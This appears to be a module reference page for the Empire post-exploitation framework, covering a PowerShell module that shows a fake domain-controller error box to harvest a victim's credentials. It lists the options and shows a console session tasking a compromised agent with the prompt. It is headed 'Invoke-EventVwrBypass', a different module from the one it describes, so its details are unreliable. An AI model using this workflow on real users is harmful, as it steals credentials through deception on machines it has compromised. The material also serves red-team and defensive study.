Invoke-EventVwrBypass - Empire Module

This page contains detailed information about how to use the powershell/collection/prompt Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

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Name: Invoke-EventVwrBypass
Module: powershell/collection/prompt
Source code: empire/server/modules/powershell/collection/prompt.yaml
MITRE ATT&CK: T1141, T1514
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: No

The prompt module prompts the current user to enter their credentials in a forms box and returns the results.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the prompt module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the prompt module:

Agent
Agent to run module on.

IconType
Critical, Question, Exclamation, or Information.
Default value: Critical.

MsgText
Message text to display if not waiting for a process create.
Default value: Lost contact with the Domain Controller..

Title
Title of the message box to display if not waiting for a process create.
Default value: ERROR - 0xA801B720.

Prompt Example Usage

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Here's an example of how to use the prompt module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/prompt

 Author       greg.fossk                                                             
              @harmj0y                                                               
              enigma0x3                                                              
 Background   False                                                                  
 Comments     http://blog.logrhythm.com/security/do-you-trust-your-computer/         
              https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-   
              if-you-want-it-just-ask/                                               
 Description  Prompts the current user to enter their credentials in a forms box and 
              returns the results.                                                   
 Language     powershell                                                             
 Name         powershell/collection/prompt                                           
 NeedsAdmin   False                                                                  
 OpsecSafe    False                                                                  
 Techniques   http://attack.mitre.org/techniques/T1141                               
              http://attack.mitre.org/techniques/T1514                               


,Record Options---------------------------,----------,-------------------------------------,
| Name     | Value                        | Required | Description                         |
|----------|------------------------------|----------|-------------------------------------|
| Agent    |                              | True     | Agent to run module on.             |
|----------|------------------------------|----------|-------------------------------------|
| IconType | Critical                     | True     | Critical, Question, Exclamation, or |
|          |                              |          | Information                         |
|----------|------------------------------|----------|-------------------------------------|
| MsgText  | Lost contact with the Domain | True     | Message text to display if not      |
|          | Controller.                  |          | waiting for a process create.       |
|----------|------------------------------|----------|-------------------------------------|
| Title    | ERROR - 0xA801B720           | True     | Title of the message box to display |
|          |                              |          | if not waiting for a process        |
|          |                              |          | create.                             |
'----------'------------------------------'----------'-------------------------------------'

(Empire: usemodule/powershell/collection/prompt) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/prompt) > set IconType Critical
[*] Set IconType to Critical
(Empire: usemodule/powershell/collection/prompt) > set MsgText Lost
[*] Set MsgText to Lost
(Empire: usemodule/powershell/collection/prompt) > set Title ERROR
[*] Set Title to ERROR
(Empire: usemodule/powershell/collection/prompt) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

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• greg.fossk
• @harmj0y
• enigma0x3

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/collection/prompt.yaml
• http://blog.logrhythm.com/security/do-you-trust-your-computer/
• https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
• http://attack.mitre.org/techniques/T1141
• http://attack.mitre.org/techniques/T1514

See Also

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Check also the following modules related to this module:

• powershell/collection/get_sql_query
• powershell/collection/SharpLoginPrompt
• powershell/collection/file_finder
• powershell/collection/get_indexed_item
• powershell/collection/ninjacopy
• powershell/collection/clipboard_monitor
• powershell/collection/FoxDump
• powershell/collection/minidump
• powershell/collection/netripper
• powershell/collection/SauronEye
• powershell/collection/toasted
• powershell/collection/screenshot
• powershell/collection/find_interesting_file
• powershell/collection/inveigh
• powershell/collection/browser_data
• powershell/collection/WireTap
• powershell/collection/WebcamRecorder
• powershell/collection/ChromeDump
• powershell/collection/USBKeylogger
• powershell/collection/get_sql_column_sample_data
• powershell/collection/keylogger
• powershell/collection/get-winupdates
• powershell/collection/packet_capture
• powershell/collection/SharpChromium
• powershell/collection/vaults/remove_keepass_config_trigger
• powershell/collection/vaults/add_keepass_config_trigger
• powershell/collection/vaults/keethief
• powershell/collection/vaults/find_keepass_config
• powershell/collection/vaults/get_keepass_config_trigger
• python/collection/osx/prompt

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.